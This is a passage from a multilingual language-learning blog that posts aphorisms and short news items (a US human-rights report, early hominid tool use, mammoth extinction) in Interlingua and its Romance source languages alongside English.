teñen o control do goberno.\nA democracia é quando eu mesmo tenho o controle do governo. A ditadura é quando os outros têm o controle do governo.\nLa démocratie, c'est quand j'ai le contrôle du gouvernement moi même. La dictature est quand les autres ont le contrôle du gouvernement.\nLa democrazia è quando io stesso ho il controllo del governo. La dittatura è quando gli altri hanno il controllo del governo.\nDemocracy is when I myself have control of the government. Dictatorship is when others have control of the government.\nPosted by hkyson at 8:09 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nIl ha multe cosas que es plus importante in le vita que le moneta, ma omne illos es multo car.\nHay muchas cosas que son más importantes en la vida que el dinero, pero todos ellos son muy caros.\nHi ha moltes coses que són més importants en la vida que els diners, però tots ells són molt cars.\nHai moitas cousas que son máis importantes na vida do que o diñeiro, pero todos eles son moi caros.\nHá muitas coisas que são mais importantes na vida do que o dinheiro, mas todos eles são muito caros.\nIl ya beaucoup de choses qui sont les plus importantes dans la vie que de l'argent, mais ils sont tous très chers.\nCi sono molte cose che sono più importanti nella vita che il denaro, ma tutti sono molto costosi.\nThere are many things that are more important in life than money, but all of them are very expensive.\nPosted by hkyson at 5:34 PM\n(Languages of this post: Intelringua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nSi nostre grande compositores poteva dicer lo que illes voleva dicer in parolas, illes nunquam haberea facite le effortio de dicer lo in musica.\nSi nuestros grandes compositores podían decir lo que querían decir en palabras, nunca harían el esfuerzo de decirlo en la música.\nSi els nostres grans compositors no podien dir el que volien dir en paraules, mai farien l'esforç de dir-ho en la música.\nSe os nosos grandes compositores foron capaces de dicir o que querían dicir en palabras, nunca farían o esforzo para decilo na música.\nSe os nossos grandes compositores podiam dizer o que queriam dizer em palavras, nunca fariam o esforço para dizê-lo na música.\nSi nos grands compositeurs pouvaient dire ce qu'ils voulaient dire avec des mots, ils n'auraient jamais fait l'effort de le dire en musique.\nSe i nostri grandi compositori potessero dire quello che volevano dire in parole, non avrebbero mai fatto lo sforzo di dirlo in musica.\nIf our great composers could say what they wanted to say in words they would never put forth the effort of saying it in music.\nPosted by hkyson at 4:48 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian English)\nNulle homine es vermente maritate ante que ille comprende le parolas que su marita nunquam dice in voce alte.\nNingún hombre es verdaderamente casado con su esposa hasta que comprenda las palabras que su esposa nunca dice en voz alta.\nCap home és veritablement casat amb la seva dona fins que comprengui les paraules que la seva dona mai diu en veu alta.\nNingún home é verdadeiramente casado ata el entenda as palabras que a súa esposa nunca di en voz alta.\nNenhum homem é verdadeiramente casado até ele perceber as palavras que a sua esposa nunca diz em voz alta.\nAucun homme n'est véritablement mariés avant de comprendre les mots que sa femme ne dit jamais à haute voix.\nNessun uomo è veramente sposato prima di capire le parole che mai sua moglie dice ad alta voce.\nNo man is truly married until he understands the words that his wife never says aloud.\nPosted by hkyson at 4:01 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nApprender le secretos del amor es como apprender a sonar un instrumento musical. Primo tu debe apprender a sonar le musica secundo su regulas. Postea tu debe oblidar le regulas del musica e sonar secundo le dictatos de tu corde.\nAprender los secretos del amor es como aprender a tocar un instrumento musical. Primero tienes que aprender a tocar música según sus reglas. Entonces tienes que olvidar las reglas de la música y jugar según los dictados de tu corazón.\nAprendre els secrets de l'amor és com aprendre a tocar un instrument musical. Primer has d'aprendre a tocar música segons les seves regles. Llavors has de oblidar les regles de la música i jugar segons els dictats del teu cor.\nAprender os segredos do amor é como aprender a tocar un instrumento musical. Primeiro tes que aprender a tocar música de acordo coas súas regras. Entón tes que esquecer as regras da música e xogar de acordo cos dictames do teu corazón.\nAprender os segredos do amor é como aprender a tocar um instrumento musical. Primeiro você tem que aprender a tocar música de acordo com as suas regras. Então você tem que esquecer as regras da música e jogar de acordo com os ditames de seu coração.\nApprendre les secrets de l'amour c'est comme apprendre à jouer d'un instrument. Vous devez d'abord apprendre à jouer de la musique en fonction de ses règles. Ensuite, il faut oublier les règles de la musique et de jouer selon les préceptes de votre cœur.\nImparare i segreti del amore è come imparare a suonare uno strumento musicale. È necessario prima imparare a suonare la musica secondo le sue regole. Quindi si deve dimenticare le regole della musica e giocare con i dettami del cuore.\nLearning the secrets of love is like learning to play a musical instrument. First you must learn to play music according to its rules. Then you must forget the rules of music and play according to the dictates of your heart.\nPosted by hkyson at 3:14 PM\n(Languages of this post: Interlingua, English)\nLe administration de Barack Obama ha confessate al Nationes Unite que le Statos Unite ha essite negligente in le protection de derectos human ma que le systema politic del Statos Unite es assatis forte in su structura que illo pote gradualmente remediar iste problemas.\nIn su prime reporto al Consilio de Derectos Human del Nationes Unite sur le conditiones in le Statos Unite, Obama diceva que alicun americanos, notabilemente minoritates, totevia es victimas de discrimination. In despecto del elimination de problemas como le sclavitute e le derecto de mulieres al voto, le reporto dice que le Statos Unite totevia ha besonio de multe progresso in le area de derectos human.\n\"Ben que nos ha resolvite alicun problemas grande\", diceva le reporto, \"multo travalio essera necesse pro assecurar le equalitate ante le justitia pro omne americanos\".\nLe reporto nota que ben que le Statos Unite nunc ha un presidente afroamerican e que su feminas e hispanicos ha ganiate major successo social e economic, grande segmentos del societate american suffre de politicas e practicas injuste.\nAlte taxas de disempleo, crimines de odio, povressa, allogiamento inferior, e practicas discriminatori in le empleo totevia afflige afroamericaos, latinos, musulmanes, asianos meridional, gente aboriginal del Statos Unite, e gays e lesbianas in le Statos Unite.\nLe reporto, cuje fontes esseva in parte reuniones que functionarios del governamento federal del Statos Unite habeva con gruppos de minoritates desde januario, anque citava le preooccupationes de activistas luctante contra violationes de derectos civil contra immigrantes e discrimination contra le minoritates racial per diverse agentias de policia in le Statos Unite.\nLe publication del reporto provocava un reception optimiste ma caute per activistas de derectos civil, ma illo probabilemente essera fortemente criticate per conservativos american.\n---\nObama confesses that the United States violates human rights.\nThe Obama administration has confessed to the United Nations that the United States has been negligent in the protection of human rights but that the political system of the United States is strong enough in its structure that it can gradually remedy these problems.\nIn its first report to the United Nations Council on Human Rights, Obama said that some Americans, notably minorities, still are victims of discrimination. Despite the elimination of problems such as slavery and the right of women to vote, the report says that the United States still is in need of a lot of progress in the area of human rights.\n\"Though we have solved some large problems,\" said the report, \"a great deal of work will be necessary to assure equality before the law for all Americans.\"\nThe report noted that although the Untied States now has an Afro-American president and that its women and Hispanics have gained a great deal of social and economic success, large segments of American society suffer from unjust policies and practices.\nHigh rates of unemployment, hate crimes, poverty, substandard housing, and discriminatory practices in employment still afflict African Americans, Latinos, Muslims, Southern Asians, Native Americans, and gays and lesbians in the United States.\nThe report, which was sourced partly from meetings that federal government officials had with minority groups since January, also cited the concerns of activists fighting civil-rights violations against immigrants and discrimination against racial minorities by various police agencies in the United States.\nThe publication of the report provoked an optimistic but cautious reception by civil-rights activists, but it probably will be strongly criticized by American conservatives.\nPosted by hkyson at 12:13 PM\nSaturday, August 28, 2010\n(Languages of this post: Interlingua, English)\nIl nunc ha 1.200 messages in \"Interlingua multilingue\".\nRecentemente, io ha comenciate a cargar a iste sito un collection de aphorismos in omne le linguas fonte de interlingua con le exception del latino e con le addition del catalan e del galiciano, duo linguas includite in le traductor electronic de Google.\nIste aphorismos veni de un varietate de fontes. Io sempre debe reformular los in linguage que pote esser processate per le traductor de Google.\nComo le textos de \"interlingua multilingue\" es destinate a studentes de interlingua e su linguas fonte, iste aphorismos ha un valor pedagogic significante proque illos illustra de un maniera clar e dramatic le relationes inter interlingua e su linguas fonte e permitte lor comparation rapide e facile. E a causa de lor brevitate, io pote producer versiones de illos in omne iste linguas con un minimo de labor.\nIl es difficile producer articulos de plus que duo o tres paragraphos in plus que tres del linguas fonte de interlingua proque le coordination de lor textos deveni progressivemente plus difficile e complicate con le addition de altere linguas.\nIn le caso de aphorismos, le labor es multo reducite. Le aphorismos anque ha le avantage de esser semanticamente multo ric, que los face plus interessante que exercitios del tipo \"la pluma de mi amita se trova sur le tabula, ma su libro se trova sur le sede al latere del tabula\".\nNaturalmente, omne vos es benvenite a copiar le textos de \"Interlingua multilingue\" a altere sitos e a modificar los secundo vostre proprie preferentias in le uso de interlingua e de su linguas fonte, forsan addente a illos altere textos pro studentes qui volera studiar iste linguas in le futuro.\nOmne iste textos es redigite in un stilo breve, directe, e clar. Pro attraher lectores in un ambiente de communication electronic, il es importante saper scriber de iste maniera. Le majoritate de internautas es personas qui lege in haste, e tal personas ha pauc patientia con textos longe, complicate, e obscur. E sovente tal textos solmente cela le povressa de ideas e le manco de claritate in le pensamento de lor autores.\n---\nThere are now 1,200 texts in \"Interlingua multilingue\".\nRecently, I have started to upload to this site a collection of aphorisms in all the source languages of Interlingua with the exception of Latin and with the addition of Catalan and Galician, two languages that are included in Google's electronic translator.\nSince the texts of \"Interlingua multilingue\" are meant for students of Interlingua and its source languages, these aphorisms have a significant pedagogical advantage because they illustrate in a clear and dramatic way the relations between Interlingua and its source languages and permit their rapid and easy comparison. And because of their brevity, I can produce versions of them in all these languages with a minimum of work.\nIt is difficult to produce articles of more than two or three paragraphs in more than three of the source languages of Interlingua because the coordination of their texts becomes progressively more difficult and complicated with the addition of other languages.\nIn the case of aphorisms, this labor is greatly reduced. Aphorisms also have the advantage of being semantically very rich, which makes them more interesting than exercises such as \"My aunt's pen is on the table, but her book is on the chair next to the table.\"\nNaturally, all of you are welcome to copy the texts of \"Interlingua multilingue\" to other sites and to modify them according to your own preferences in the use of Interlingua and its source languages, perhaps adding to them other texts for students that will want to study these languages in the future.\nAll these texts are edited in a style that is direct, brief, and clear. To attract readers in an electronic-communications environment, it is important to know how to write like this. Most internauts are people who read quickly, and such persons have little patience with long, complicated, and obscure texts. And often such texts only hide the poverty of ideas and the lack of clarity in the thinking of their authors.\nPosted by hkyson at 10:09 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, French, Italian, English)\nIl es multo difficile demonstrar le diverse significatos e le imperfectiones de nostre parolas e linguas quando nos debe usar los pro realisar iste carga. Quando nos face isto, nos sta a usar duo speculos differente que solmente pote provider reflexiones infinite del luce indifferentiate que non contine information de ulle forma utile, e lo que remane es sovente un vacuo absolute.\nEs muy difícil demostrar los diversos significados y las imperfecciones de nuestras palabras e idiomas cuando debemos usarlos para realizar esta tarea. Cuando tratamos de hacer esto, estamos usando dos espejos diferentes que sólo pueden proporcionar infinitos reflejos de la luz indiferenciada que no contiene información de cualquier forma útil, y lo que queda es con frecuencia un vacío absoluto.\nÉs molt difícil demostrar els diversos significats i les imperfeccions de les nostres paraules i idiomes quan hem de usar-los per realitzar aquesta tasca. Quan tractem de fer això, estem usant dos miralls diferents que només poden proporcionar infinits reflexos de la llum indiferenciada que no conté informació de qualsevol forma útil, i el que queda és amb freqüència un buit absolut.\nÉ moi difícil amosar os distintos significados e as imperfeccións das nosas palabras e linguas cando debemos usalos para realizar esta tarefa. Cando tentamos facelo, estamos usando dous espellos diferentes que só poden fornecer reflexións infinitas de información da luz indiferenciada que non contén información de calquera forma útil, e moitas veces o que queda é un baleiro absoluto.\nÉ muito difícil mostrar os vários significados e as imperfeições de nossas palavras e linguagem quando usá-los para executar esta tarefa. Quando tentamos fazer isso, estamos usando dois espelhos diferentes que só podem fornecer reflexões infinitas de informação da luz indiferenciada que não contém informações de qualquer forma útil, e muitas vezes o que fica é um vazio absoluto.\nIl est très difficile de montrer les diverses significations et les imperfections des mots et du langage quand on doit les utiliser pour accomplir cette tâche. Quand nous essayons de faire cela, nous utilisons deux miroirs différents qui ne peuvent fournir que des réflexions infinies de la lumière indifférenciée qui ne contient pas d'informations de toute forme utile, et ce qui reste est souvent un vide absolu.\nÈ molto difficile per mostrare i vari significati e le imperfezioni delle parole e del linguaggio, quando dobbiamo usarli per eseguire questa operazione. Quando cerchiamo di fare questo, stiamo utilizzando due specchi diversi che possono fornire soltanto riflessi infiniti di luce indifferenziata che contiene nessuna informazione di qualsiasi forma utile, e ciò che spesso rimane is un vuoto assoluto.\nIt is very difficult to show the various meanings and imperfections of words and of language when we must use them to accomplish this task. When we try to do this, we are using two different mirrors that can only provide infinite reflections of undifferentiated light that contains no information of any useful form, and what often remains is an absolute vacuum.\nPosted by hkyson at 9:02 PM\nLe uso de utensilios e consumo de carne comenciava ante 3,2 milliones de annos, secundo un studio publicate in le magazin \"Nature\".\n(Languages of this post: Interlingua, Portuguese, English)\nRecercatores discoperiva evidentia que hominides--le ancestres le plus primitive del homine modern--usava utensilios de petra pro secar carne ante 3,2 milliones de annos.\nLe discoperimento suggere que le uso de utensilios e le consumption de carne per hominides occurreva 800 mille annos ante de lo que previemente on imaginava.\nOssos trovate in Ethiopia monstra secturas con petra e indicationes que le medulla esseva retirate con fortia.\nLe recerca, publicate in le magazin scientific \"Nature\", defia diverse theorias sur le comportamento del ancestres del homines.\nLe utensilio le plus vetule cognoscite per archeologos ante iste discoperimento esseva trovate in le region de Gona, anque in Ethiopia.\nUsque tunc, le scientistas credeva que le prime ancestres human qui usava utensilios esseva del genero Homo, le mseme genero del specie actual human, Homo sapiens. Isto haberea occurrite ante 2,5 milliones de annos.\nLe nove discoperimento, in le region de Dikika in Ethiopia, indica que le utensilios jam esseva usate ante inter 3,2 milliones e 3,4 milliones de annos. Le data del utensilios esseva determinate con analyses de roccas vulcanic in ille area.\nUn batteria de examinationes monstrava que secturas e grattamentos esseva facite in le ossos ante que illos se fossilisava. Un del analyses monstrava mesmo que il habeva pecias de roccas in le ossos.\nLe sol specie de hominides del region de Dikika cognoscite per le scientistas es le Australopithecus afarensis, qui deveniva famose post le discoperimento del fossile con le nomine \"Lucy\". Illa veniva de un specie de hominide ancestral de Homo, secundo un hypothese.\nUn del autores del studio publicate in \"Nature\", Zeresenay Alemseged, paleoanthropologo del California Academy of Sciences, diceva que le discoperimento representa un puncto de transition importante in lo que se sape sur le genero A. afarensis.\nPro 30 annos, nemo poteva colocar utensilios de petra in lor manos, e nos faceva illo per le prime vice\", diceva Alemseged.\n\"Nos sta a monstrar per le prime vice que le uso de utensilios non es exclusive al Homo o a species relationate al Homo. Nos ha un A. afarensis qui se comporta como un Homo tanto con le uso de utensilios como le consumption de carne. Illo es un altere characteristica del Homo que pote servir como un ligamine inter le A. afarensis e le genero Homo.\nNonobstante, le conclusiones del studio se basa in un parve numero de ossos. Il non ha evidentia que le A. afarensis faceva le utensilio usante pecias major de roccas, o si illes simplemente usava alicun petras affiliate que illes incontrava.\nAlemseged e Shannon McPherron, un archeologo del instituto Max Planck de Leipzig, in Germania, affirma que le proxime projecto del scientistas es retornar al loco e continuar le cerca de indicios. \"Il es sempre difficile attribuer un comportamento a un hominide in particular\", diceva McPherron. \"Nos nunquam ha le bon fortuna de trovar un hominide morte con le utensilio in su mano\".\nLe scientista Chris Stringer, del Museo de Historia Natural de London, preveni que il es necesse esser caute ante arrivar a conclusiones plus definitive. Nos ha besonio de esser caute, diceva ille, \"proque nos ha solmente alicun ossos con alicun marcas in illos. Nos volerea poter associar los con utensilios pro haber un caso concrete\".\nIlle recognosce que si le recerca se basa in evidentia, le studio porta un grande innovation al scientia.\n---\nUso de ferramentas e consumo de carne começou há 3,2 milhões de anos, de acordo com um estudo publicado na revista \"Nature\".\nPesquisadores descobriram evidências que hominídeos--os ancestrais mais primitivos do homem moderno--usavam ferramentas de pedra para cortar carne há mais de 3,2 milhões de anos.\nA descoberta sugere que o uso de ferramentas e o consumo de carne por hominídeos aconteceram 800 mil anos antes do que se imaginava.\nOssos encontrados na Etiópia mostram cortes com pedra e indicações de que o tutano foi retirado forçosamente.\nA pesquisa, publicada na revista científica \"Nature\", desafia várias teorias sobre o comportamento dos ancestrais dos homens.\nA ferramenta mais antiga conhecida por arqueólogos até esta descoberta foi encontrada na região de Gona, também na Etiópia.\nAté então, os cientistas acreditavam que os primeiros ancestrais humanos que usava ferramentas eram do gênero Homo, o mesmo gênero da espécie atual de humanos, Homo sapiens. Isso teria ocorrido há 2,5 milhões de anos.\nA nova descoberta, na região etíope de Dikika, indica que as ferramentas já eram usadas entre 3,2 milhões e 3,4 milhões de anos atrás. A data das ferramentas foi determinada com análises de rochas vulcânicas nessa área.\nUma bateria de exames mostrou que cortes e arranhões foram feitos nos ossos antes de eles se fossilizarem. Uma das análises mostrou inclusive que havia pedaços de rochas nos ossos.\nA única espécie de hominídeos da região de Dikika conhecida pelos cientistas é a Australopithecus afarensis, que ficou famosa após a descoberta do fóssil chamado de \"Lucy\". Ela veio de uma espécie de hominídeo ancestral do Homo, segundo uma hipótese.\nUm dos autores do estudo publicado na \"Nature\", Zeresenay Alemseged, paleoantropólogo do California Academy of Sciences, disse que a descoberta representa um ponto de transição importante no que se sabe sobre o gênero A. afarensis.\n\"Por 30 anos, ninguém conseguiu colocar ferramentas de pedra nas suas mãos, e nós fizemos isso pela primeira vez\", disse Alemseged.\n\"Nós estamos mostrando pela primeira vez que o uso ferramentas não é exclusivo aos Homo a espécies relacionadas aos Homo. Temos um A. afarensis se comportando como um Homo tanto com uso de ferramentas como consumo de carne. Isso é outra característica do Homo que pode servir como uma ligação entre o A. afarensis e o gênero Homo.\"\nNo entanto, as conclusões do estudo são baseadas em um pequeno número de ossos. Não há comprovação de que os A. afarensis fizeram a ferramenta usando pedaços maiores de rochas, ou simplesmente usaram algumas pedras afiadas que eles encontraram.\nAlemseged e Shannon McPherron, um arqueólogo do instituto Max Planck de Leipzig, na Alemanha, afirmam que a próxima tarefa dos cientistas é voltar ao local e continuar procurando indícios. \"É sempre difícil atribuir um comportamento a um hominídeo em particular\", disse McPherron. \"Nós nunca temos a sorte de achar um hominídeo morto com a ferramenta na sua mão.\"\nO cientista Chris Stringer, do Museu de História Natural de Londres, alerta que é preciso ter cautela antes de se tirar conclusões mais definitivas. Nós precisamos ter cautela', disse, \"porque apenas temos alguns ossos com algumas marcas neles. Se gostaria de poder associá-los a ferramentas, para realmente termos um caso concreto\".\nEle reconhece que caso a pesquisa se comprove fundamentada, o estudo traz uma grande inovação à ciência.\n---\nTool use and consumption of beef began 3.2 million years ago, according to a study published in the journal \"Nature.\"\nResearchers found evidence that hominids--the more primitive ancestors of modern humans--used stone tools to cut meat for over 3.2 million years.\nThe finding suggests that the use of tools and meat consumption by hominids happened 800,000 years earlier than previously thought.\nBones found in Ethiopia display stone cuts and indications that the marrow was removed forcibly.\nThe research, published in the journal \"Nature,\" challenges many theories about the behavior of the ancestors of men.\nThe oldest tool known to archaeologists before this discovery has been found in the region of Gona, in Ethiopia.\nUntil then, scientists believed that the first human ancestors who used tools were of the genus Homo, the genus of the same species as contemporary humans, Homo sapiens. This would have been about 2.5 million years ago.\nThe new discovery in the Ethiopian region of Dikika, indicates that the tools had been used between 3.2 million and 3.4 million years ago. The date of the tools was determined by analyzing volcanic rocks in that area.\nA battery of tests showed that cuts and scratches were made on the bones before they fossilized. An analysis showed that there were even pieces of rock in the bones.\nThe only species of hominids in the region of Dikika known to scientists is Australopithecus afarensis, which became famous after the discovery of the fossil called \"Lucy.\" She came from a species of hominid that was an ancestor of Homo, according to one hypothesis.\nOne of the authors of the study published in \"Nature,\" Zeresenay Alemseged, a paleoanthropologist at the California Academy of Sciences, said the discovery represents an important turning point in what is known about the genus A. afarensis.\n\"For thirty years, nobody could put the stone tools in their hands, and we did it first,\" said Alemseged.\n\"We're showing for the first time that bone tools are not unique to Homo or species related to Homo. We have an A. afarensis behaving like a Homo both in the use of tools and in meat consumption. This is another feature of Homo that can act as a link between A. afarensis and the genus Homo.\"\nHowever, the study's findings are based on a small number of bones. There is no evidence that A. afarensis made the tool by using larger pieces of rock or simply used some sharp rocks they found.\nAlemseged and Shannon McPherron, an archaeologist at the Max Planck Institute in Leipzig, Germany, say the scientists' next task is to return to the site and continue searching for clues. \"It's always difficult to assign a behavior to a hominid in particular,\" said McPherron. \"We are never lucky enough to find a dead hominid with a tool in his hand.\"\nThe scientist Chris Stringer of the Natural History Museum, London, cautions that care should be taken before drawing more definitive conclusions. \"We must be cautious,\" he said, \"because we have only a few bones with some marks on them. We would like to be able to associate them with the tools to really have a case.\"\nHe recognizes that if the research is evidence based, the study brings something very new to science.\nPosted by hkyson at 7:27 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nQuando un persona suffre un delusion, isto se appella follia. Quando multe gente suffre un illusion, isto se appella religion.\nCuando una persona sufre un delulsion, esto se llama locura. Cuando mucha gente sufre un engaño, esto se llama religión.\nQuan una persona pateix un delulsion, això es diu bogeria. Quan molta gent pateix un engany, això es diu religió.\nCando unha persoa padece un delulsion, iso é chamado de loucura. Cando moitas persoas padecen un delirio, iso se chama relixión.\nQuando uma pessoa sofre um delulsion, isso é chamado de loucura. Quando muitas pessoas sofrem de um delírio, isso se chama religião.\nQuand une personne souffre d'une delulsion, c'est ce qu'on appelle la folie. Lorsque de nombreuses personnes souffrent d'une illusion, c'est ce qu'on appelle la religion.\nQuando una persona subisce un delulsion, questo si chiama follia. Quando molte persone soffrono di una illusione, questo si chiama religione.\nWhen one person suffers a delulsion, it is called madness. When many people suffer a delusion, it is called religion.\nPosted by hkyson at 5:43 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe politicos qui es vermente succedeite sempre sape como obtener le votos del povres e le moneta del ricos con le promissa de proteger le povres del exploitation del ricos e le ricos del robos del povres.\nLos políticos que son realmente exitosos siempre saben cómo conseguir los votos de los pobres y el dinero de los ricos con la promesa de proteger a los pobres de la explotación de los ricos y a los ricos de los robos de los pobres.\nEls polítics que són realment reeixits sempre saben com aconseguir els vots dels pobres i els diners dels rics amb la promesa de protegir els pobres de l'explotació dels rics i els rics dels robatoris dels pobres.\nOs políticos que son realmente exitosos sempre saben como obter os votos dos pobres e diñeiro dos ricos coa promesa de protexer os pobres da explotación dos ricos e os ricos do roubo dos pobres.\nOs políticos que são realmente bem-sucedidos sempre sabem como obter os votos dos pobres e o dinheiro dos ricos com a promessa de proteger os pobres da exploração dos ricos e os ricos do roubo dos pobres.\nLes hommes politiques qui sont vraiment réussis toujours savent comment obtenir les votes des pauvres et de l'argent des riches en promettant de protéger les pauvres contre l'exploitation des riches et les riches de vol par les pauvres.\nI politici che sono davvero riusciti sanno sempre come ottenere voti dai poveri e il denaro dai ricchi promettendo di proteggere i poveri dallo sfruttamento dei ricchi e dei ricchi di furto da parte dei poveri.\nPoliticians who are really successful always know how to get the votes from the poor and money from the rich by promising to protect the poor from the exploitation of the rich and the rich from thievery by the poor.\nPosted by hkyson at 4:36 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nIl non ha dignitate in le travalio si illo non es le tipo de travalio que tu vermente vole facer.\nNo hay dignidad en el trabajo si no es el tipo de trabajo que realmente quieres hacer.\nNo hi ha dignitat en el treball si no és el tipus de treball que realment vols fer.\nNon hai dignidade no traballo, se non é o tipo de traballo que realmente queres facer.\nNão há dignidade no trabalho, se não é o tipo de trabalho que você realmente quer fazer.\nIl n'ya pas de dignité au travail, si ce n'est pas le type de travail que l'on vraiment veut faire.\nNon c'è dignità al lavoro, se non è il tipo di lavoro si vuole veramente fare.\nThere is no dignity in work if it isn't the kind of work that you really want to do.\nPosted by hkyson at 9:49 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nQuando un porta se claudite, un altere porta se aperi. Nonobstante, nostre attention es sovente tan intensemente fixe in le porta claudite que nos non es consciente del opportunitates offerite per le porta aperite.\nCuando una puerta se cierra, otra puerta se abre. Sin embargo, nuestra atención es a menudo tan intensamente fija en la puerta cerrada que no somos conscientes de las oportunidades ofrecidas por la puerta abierta.\nQuan una porta es tanca, una altra porta s'obre. No obstant això, la nostra atenció és sovint tan intensament fixa a la porta tancada que no som conscients de les oportunitats ofertes per la porta oberta.\nCando unha porta se pecha, outra porta se abre. Sen embargo, a nosa atención é moitas veces tan intensamente fixa na porta pechada que non somos conscientes das oportunidades que ofrece a porta aberta.\nQuando uma porta se fecha, outra porta se abre. No entanto, nossa atenção é muitas vezes tão intensamente fixa no porta fechada que não somos conscientes das oportunidades oferecidas pela porta aberta.\nQuand une porte se ferme, une autre porte s'ouvre. Cependant, notre attention est souvent si intensément fixée sur la porte fermée que nous ne sommes pas conscients des possibilités offertes par la porte ouverte.\nQuando una porta si chiude, un'altra porta si apre. Tuttavia, la nostra attenzione è spesso così intensamente fissa sulla porta chiusa che non siamo consapevoli delle opportunità offerte dalla porta aperta.\nWhen one door closes, another door opens. But our attention is often so intensely fixed on the closed door that we are unaware of the opportunities provided by the open door.\nPosted by hkyson at 9:07 AM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nSovente nostre problems non resolvite es solmente grande opportunitates.\nMuchas veces nuestros problemas no resueltos son sólo grandes oportunidades.\nMoltes vegades els nostres problemes no resolts són només grans oportunitats.\nMoitas veces os nosos problemas non resoltos son só grandes oportunidades.\nMuitas vezes os nossos problemas não resolvidos são apenas grandes oportunidades.\nSouvent, nos problèmes non résolus ne sont que de grandes opportunités.\nSpesso i nostri problemi irrisolti sono solo grandi opportunità.\nOften our unsolved problems are only great opportunities.\nFriday, August 27, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio del Britannic Universitate de Durham affirma que le mammutes deveniva extincte a causa del reduction in le areas de pasto causate per cambios climatic, e non como un consequentia del chassa per esseres human.\nSecundo le studio, le elevation del temperatura del planeta con le fin del parte le plus frigide del Etate de glacie--presso ante 21 mille annos--videva un reduction del campos de prateria utilisate per iste animales pro alimentar se.\nAnte presso 14 mille annos, le Mammuthus primigenius, o mammutes lanose, que antea faceva parte del paisage europee, migrava al nord de Siberia, ubi illos finalmente morriva ante 4 mille annos.\nLe rationes pro iste extinction es incerte e deveniva le objecto de un intense debatto inter le scientistas.\nDurante que alicunes argumenta que le processo se trova ligate al calefaction global, alteres dice que le pressiones que eventualmente esseva le causas determinante de lor extinction esseva le resultato de un crescente poplation human. Un tertie theoria atribue le fin del mammutes a un collision de un meteoro contra le Terra.\n\"Lo que nostre resultatos suggere es que le cambio climatic--per le effecto que illo habeva sur le vegetation--esseva le factor clave que causava le reduction del population e le extinction del mammutes e de altere herbivoros grande\", affirmava le professor Brian Huntley, qui coordinava le studio.\nLe studio recreava--per le uso de modelos informatic que simulava cambios in le vegetation in Europa, Asia, e Nord America in le ultime mille annos--le conditiones ambiental que le mammutes debeva confrontar in le ultime annos de lor existentia.\nLe scientistas usava iste modellos informatic pro studiar le cambios in le clima durante ille periodo e lor effectos sur le crescimento del vegetation in le areas ubi le mammutes viveva.\nLe basse temperaturas e conditiones specialmente sec del Etate de Glacie, combinate con le basse emissiones de dioxido de carbon durante ille periodo, non favoriva le crescimento del arbores, illes concludeva.\nIsto significava que, in vice de silvas, le paisage de ille epocha esseva marcate per vaste areas de praterias, ideal pro herbivoros grande, como le mammutes.\nPost un periodo de annos le clima deveniva plus calide e humide. Al fin del era glacial, le concentration de dioxido de carbon esseva plus elevate. Como resultato, le arbores deveniva dominante in areas que antea esseva praterias.\n\"In le apice del Epoca de Glacie, le mammutes e altere herbivoros habeva un plus grande quantitate de alimentos\", diceva un investigator qui participava in le studio. \"Ma durante que nos nos move a un epocha post-glacial, le arbores gradualmente deveniva dominante in le ecosystemas herbacee, e isto reduceva multo le area de pastura de iste animales.\"\n---\nAquecimento global causou extinção dos mamutes, diz estudo.\nUm estudo da britânica Universidade de Durham afirma que os mamutes foram extintos por causa da redução nas áreas de pasto causada por mudanças climáticas, e não em consequência da caça por parte de seres humanos.\nDe accordo com a pesquisa, a elevação da temperatura do planeta com o fim da parte mais fria da Idade do Gelo--cerca de 21 mil anos atrás--viu uma redução das terras da pradaria utilizadas por estes animais para se alimentarem.\nHá cerca de 14 mil anos, os Mammuthus primigenius, ou mamutes-lanosos, que um dia fizeram parte da paisagem europeia, migraram para o norte da Sibéria, onde acabaram morrendo 4 mil anos atrás.\nAs razões dessa extinção são incertas e viraram alvo de um intenso debate entre os cientistas.\nEnquanto uns argumentam que o processo está ligado ao aquecimento global, outros dizem que as pressões que eventualmente foram as causas determinantes de sua extinção eram o resultado de uma crescente população humana. Uma terceira teoria atribui o fim dos mamutes à colisão de um meteoro contra a Terra.\n\"O que os nossos resultados sugerem é que a mudança climatic--através do efeito que teve sobre a vegetação--foi o fator-chave que causou a redução da população e a extinção dos mamutes e de outros herbívoros de grande porte\", afirmou o professor Brian Huntley, que coordenou o estudo.\nA pesquisa recriou--através de modelos informáticos que simularam mudanças na vegetação na Europa, Ásia e América do Norte nos últimos 42 mil anos--as condições ambientais que os mamutes tevem de enfrentar nos últimos anos de sua existência.\nOs cientistas usaram estes modelos informáticos para estudar as mudanças no clima durante esse período e seus efeitos sobre o crescimento da vegetação nas áreas onde os mamutes viveram.\nAs baixas temperaturas e condições especialmente secas da Idade do Gelo, combinadas com as baixas emissões de dióxido de carbono durante esse período, não favoreceram o crescimento das árvores, eles concluíram.\nIsso fez com que, em vez de florestas, a paisagem daquela época fosse marcada por vastas áreas de pradarias, ideais para herbívoros de grande porte, como os mamutes.\nCom o passar dos anos o clima se tornou mais quente e úmido. No fim da era glacial, a concentração de dióxido de carbono era mais elevada. Como resultado, as árvores se tornaram dominantes em áreas que antes eram pradarias.\n\"No ápice da Era do Gelo, os mamutes e outros herbívoros contavam com mais alimentos\", disse um investigador que participou do estudo. \"Mas a medida que nós nos movemos para uma etapa pós-glacial, as árvores gradualmente se tornaram dominantes nos ecossistemas herbáceos e isso reduziu muito a área de pastagem de estes animais.\"\n---\nGlobal warming caused the extinction of the mammoths, says a study.\nA study by the British University of Durham says that mammoths became extinct because of the reduction in grazing areas due to climate change, and not as a result of hunting by humans.\nAccording to this study, the rising temperature of the planet at the end of the coldest part of the Ice Age--about 21,000 years 